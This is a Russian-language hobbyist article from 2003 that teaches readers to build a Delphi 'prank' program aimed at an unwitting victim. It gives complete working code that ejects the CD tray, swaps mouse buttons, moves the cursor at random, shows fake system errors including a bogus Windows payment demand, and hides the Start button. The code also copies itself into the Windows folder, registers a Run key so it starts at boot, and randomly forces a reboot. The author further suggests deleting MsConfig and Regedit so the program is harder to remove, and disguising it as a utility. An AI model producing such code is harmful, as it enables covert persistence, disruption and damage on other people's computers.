Fun program

Знание даёт власть. Программирование помноженное на знание даёт власть над компьютером и тем, кто за ним сидит. А как иногда хочется позлоупотреблять этой самой властью! Ну так дадим ненадолго волю своим подавленным инстинктам и набросаем пару - другую мрачненьких прикольчиков.

Пункт первый.
Прикол должен быть МАЛЕНЬКИМ. Значит модуль Forms использовать не будем напрочь. Соответственно, запускаем Delphi. Создаём New Application. Открываем меню Project\Remove From Project и удаляем Unit1 - Form1 из проекта. Открываем файл проекта Project\View Source. (Я пользуюсь Delphi 4. В 5-й версии можно выбрать New\Console Application.) Стираем всё лишнее, так что остаётся следующее:

program ArticleFun1;
uses Windows;
{$R *.RES}
begin

end.

Пункт второй.
Чтобы сделать такое, чтобы подопытный не сразу впал в истерику, а успел оценить грандиозность вашей подлянки?

FUN1
Для начала можно грозно похлопать CD-ROM'ом.

procedure CD_Fun1;	 {хлопнуть CD-ROM'ом}
begin
  mciSendString('Set cdaudio door open wait', nil, 0, GetDesktopWindow);
  sleep(450);
  mciSendString('Set cdaudio door closed wait', nil, 0, GetDesktopWindow);
end;

Для этой процедуры надо в Uses добавить модуль mmsystem.

FUN2
Ну похлопали компактом (изверги могут вызывать эту процедуру в цикле...) и что? Подопытный поёжился и успокоился. МАЛО! Чтобы он о вас подольше вспоминал разными добрыми словами проделайте следующее: поменяйте местами кнопки мышки.

Procedure Mouse_Fun2_1;
begin
   swapmousebutton(true);
end;

Можно было бы, конечно, вообще отрубить мышь (да и клаву тоже ;) но так будет интересней. Пока "объект поймёт "шо це таке"... Вы получите "непередаваемые очучения" если сможете пронаблюдать реакцию!

Ну уж если стали издеваться над мышкой, то можно ещё и с курсором немного поиграть. Пусть он в кои-то веки займётся своими делами, а не слепо исполняет волю юзера.

Procedure Mouse_Fun2_2;
var i:integer;
begin
  for i:=1 to random(5000) do
     begin
        setcursorpos(random(640),random(480));
        sleep(30);              {погонять курсор по экрану};
     end;
end;

FUN3
Чтобы наш бедняга не расслаблялся можно ещё выкинуть какое-нибудь псевдосистемное сообщение.

procedure Message_Fun3;
var s:string;
    n:integer;
begin
 if random(2) = 0 then n:=MB_ICONWARNING
 else n:=MB_ICONERROR;
 case random(3) of
  0: s:='CRU not found. Press any key.';
  1: s:='Срок действия незарегистрированной версии Windows истёк.'+#13+
        'Для продолжения работы windows вам надо заплатить за лицензионную'+#13+
        'версию $640.';
  2: s:='User.VxD got into trouble. Need help.';
 end;
 MessageBox(GetForegroundWindow,PChar(s),'',n);
end;

Только не забудте добавить Randomize; в основную программу. А то пользователь слишком быстро привыкнет к одному сообщению и лишится радости встречи с остальными. Зря что-ли старались!

FUN4
Как вы думаете, нужен ли подопытному "Пуск"? Да зачем? Нафиг не нужен! Так мы его и уберём...

procedure Start_Fun4;
var hn : HWnd;
begin
 hn := FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'Button',nil);
 if hn <> 0 then  ShowWindow(hn,SW_Hide);
end;

Кнопочки как не бывало...

Пункт Третий.
А теперь скажите, хорошо ли если неразумный объект нашего воздействия удалит такую замечательную программу после первого запуска не насладившись в полной мере вашими изысками? Это будет просто невежливо по отношению к автору! Поэтому давайте позаботимся, чтобы такого не произошло. А именно: скопируем программу подальше внутрь каталога Windows и добавим на загрузку при включении.

Procedure Install;
var b,c:array[0..150]of char;
    way,curway:string;
    R:TRegistry;
begin
 GetWindowsDirectory(b,150);
 way:=StrPas(b);
 curway:=getCurrentDir;
 if curway<>way then
  begin
   strPCopy(b,paramstr(0));
   strPCopy(c,way+'\VCArticle.exe');     {new file}
   copyfile(b,c,false);
  end;
 r:=TRegistry.Create;
 r.RootKey:=HKEY_LOCAL_MACHINE;
 r.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);
 r.WriteString('VCArticle',way+'\VCArticle.exe');
 r.CloseKey;
 r.Destroy;
end;

При этом понадобятся модули Sysutils и Registry. соответственно, их тоже добавляем в uses. Ну вот, программа, хоть и не очень крепко, но к системе прикручена. Теперь она будет запускаться при каждой перезагрузке и при этом её нет в папке Автозагрузка. Хотя это не мешает профессионалам избавиться от неё за несколько секунд используя, например, стандартный MsConfig. Правда если и MsConfig, и Regedit в процедуре Install удалить, тогда программа проживёт чуть дольше...

В основной программе демонстрировать все возможности разом нет необходимости, раз уж программа протянет несколько дней до того, как её безжалостно сотрут. Поэтому можно сделать что-то вроде этого.

begin
 Randomize;
 Start_Fun4;
 case random(20) of
 0..4: CD_Fun1;
 5..9: Mouse_Fun2_1;
 10..14: Mouse_Fun2_2;
 15..19: Message_Fun3;
 end;
 Install;
 if random(20)=1 then exitwindowsEx(EWX_FORCE+EWX_REBOOT,0);
end.

В некоторых случаях хлопаем компактом, в некоторых играем мышкой, а иногда выкидываем сообщение. Разумеется ничто не мешает добавить ещё десяток "подляночных" процедур и вызывать их по другим значемиям case'а. (f.e. скрыть мышку, перевернуть экран, вызвать перезагрузку, удалить важные файлы Windows, сменить обои, удалить типы файлов, написать что-то на столе...). Для пущей убедительности можно замаскировать свою программу под текстовый редактор или просто файл, или изобразить "что-то вроде утилиты", или иммитировать повреждённый файл. Но это уже вопрос другого разговора. Может быть следующей статьи?
Но в любом случае не забывайте свято чтить УК РФ!

Master VAM

30.03.03

Полный код программы и текст статьи: Fun_Article.rar (8Кб.)


Обратно на главную

Hosted by uCoz